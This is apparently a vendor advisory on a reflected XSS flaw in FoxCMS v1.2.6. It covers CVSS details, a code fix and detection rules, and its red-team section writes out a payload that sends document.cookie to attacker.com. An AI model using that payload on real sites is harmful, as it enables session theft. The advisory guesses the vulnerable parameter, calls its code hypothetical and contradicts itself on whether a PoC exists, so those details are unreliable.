CVE-2025-55420
Executive Summary
CVE-2025-55420 is a reflected Cross-Site Scripting (XSS) vulnerability discovered in FoxCMS v1.2.6. The flaw exists in the /index.php endpoint, where a crafted GET request parameter is reflected unsanitized into the HTML response. This allows an attacker to execute arbitrary JavaScript in the context of a logged-in user's browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS score of 6.1 (Medium) and is currently unpatched. No public exploit code or Nuclei template is available, but the attack vector is straightforward.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FoxCMS is a PHP-based content management system. This vulnerability is not related to any package manager (NPM, PyPI, Go, Ruby) and does not involve a supply chain component. The risk is limited to direct exploitation of the CMS instance.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
The threat level is medium due to the requirement for user interaction, but the impact is significant for authenticated sessions.
Deep Dive & Mechanics
The vulnerability resides in the index.php file of FoxCMS v1.2.6. The application takes a GET parameter (likely mod or similar) and reflects it directly into the HTML response without proper sanitization or encoding. For example, a request like:
http://target.com/index.php?mod=<script>alert('XSS')</script>
Will cause the script to be executed in the victim's browser. The lack of output encoding allows arbitrary HTML/JavaScript injection. The attack is reflected, meaning the payload is not stored on the server but is delivered via a crafted URL.
Vulnerable vs. Patched Code
Vulnerable Code (FoxCMS v1.2.6):
// index.php (simplified)
$mod = $_GET['mod'];
echo "<div class='module'>" . $mod . "</div>";
Patched Code (hypothetical):
// index.php (patched)
$mod = htmlspecialchars($_GET['mod'], ENT_QUOTES, 'UTF-8');
echo "<div class='module'>" . $mod . "</div>";
The patched version uses htmlspecialchars() to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Craft the malicious URL:
http://target.com/index.php?mod=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>Deliver the link to a logged-in user via phishing email or social engineering.
Capture the cookie on the attacker's server.
Proof of Concept (PoC):
<!-- Save as poc.html and host on attacker server -->
<a href="http://target.com/index.php?mod=<script>alert('XSS')</script>">Click me</a>
Blue Team (Defense & Detection)
- Monitor logs for suspicious GET requests containing
<script>tags. - Implement WAF rules to block XSS patterns.
- Educate users about phishing links.
Indicators of Compromise (IOCs)
- URL Pattern:
index.php?mod=<script> - HTTP Request: GET request with
modparameter containing HTML/JavaScript. - Log Entry:
GET /index.php?mod=<script>alert(1)</script> HTTP/1.1 - Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
Detection Engineering
YARA Rule
rule Detect_FoxCMS_XSS_Reflected {
meta:
description = "Detects reflected XSS attempts against FoxCMS v1.2.6"
author = "Valters IT"
date = "2025-01-01"
reference = "CVE-2025-55420"
strings:
$xss_payload = /<script[^>]*>.*<\/script>/i
$foxcms_path = "/index.php"
condition:
$foxcms_path and $xss_payload
}
Sigma Rule
title: FoxCMS Reflected XSS Detection
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects reflected XSS attempts against FoxCMS v1.2.6
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains: '/index.php?mod='
cs-uri-query|re: '<script[^>]*>.*<\/script>'
condition: selection
falsepositives:
- Legitimate use of script tags in mod parameter (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"FoxCMS Reflected XSS Attempt"; flow:to_server; content:"/index.php"; http_uri; content:"mod="; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Disable the vulnerable
modparameter or apply input validation. - Patch: Upgrade to a patched version of FoxCMS (if available) or apply the code fix manually.
- WAF: Deploy a Web Application Firewall with XSS rules.
- User Training: Educate users not to click suspicious links.
- Monitoring: Enable logging and alerting for XSS patterns.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.